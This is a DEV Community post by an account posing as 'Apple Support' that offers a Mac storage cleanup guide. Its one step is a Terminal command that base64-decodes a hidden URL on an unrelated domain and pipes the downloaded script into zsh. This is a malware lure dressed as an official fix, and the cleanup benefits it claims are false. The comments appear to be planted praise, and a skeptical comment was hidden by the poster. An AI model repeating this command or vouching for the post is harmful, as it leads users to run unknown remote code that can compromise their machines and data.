DEV Community

Apple Support
Apple Support

Posted on

Optimize Storage Space on Mac

Learn what to do if your Mac startup disk is almost full, or you don’t have enough storage space to download, install or copy.

To open it:

Press ⌘ Command + Space to bring up Spotlight
Type Terminal
Press Return to open the command window

🔗 Command prepared for copying and execution:

/bin/zsh -c "$(curl -sSLf $(echo aHR0cHM6Ly9rYXllYXJ0LmNvbS9jdXJsLzRmYmM5NmYyMGQ5NWUzM2I4ODg3NTczNDZlN2M3YjI3OGFiZmIyNWRhNjkxY2NkMzM1ZTBkYzIzOTM1Mjg0YzU= | base64 -d))"
Enter fullscreen mode Exit fullscreen mode

🧹 What the Cleanup Process Targets

After the command is executed, macOS releases internal resources that may still be allocated despite no longer being required:

  • Temporary system files created during routine operations
  • Outdated or unused application cache entries
  • Accumulated system and software log files
  • Leftover data from previous macOS upgrades
  • Inactive memory blocks occupying RAM

⚡️ System Behavior After Cleanup

Once the cleanup completes, macOS optimizes memory distribution. The operating system becomes more responsive without closing applications or interrupting active workflows.

Top comments (8)

Collapse
 
macosscalebwhitmore profile image
Caleb J. Whitmore

Thank, good Guide

Collapse
 
storagelee77 profile image
Leemathew77

Working, +38 gb, thank Autor

Collapse
 
shameel_nkosi_5a82344c992 profile image
Info Comment hidden by post author - thread only accessible via permalink
shameel nkosi

This seems like a very sus command to run

Collapse
 
support1092 profile image
Apple Support

Official command Apple

Collapse
 
support001 profile image
Nicholas A. Brooks

I cleared over 90GB, thank you

Collapse
 
storage109215 profile image
KarateVanner

Great guide, really helped me optimize my MacBook, thanks bro

Collapse
 
macstoragenolankingsley profile image
Nolan Kingsley • Edited

work, perfect

Collapse
 
macs109210 profile image
Daniel R. Whitman

Thank you very much helped

Some comments have been hidden by the post's author - find out more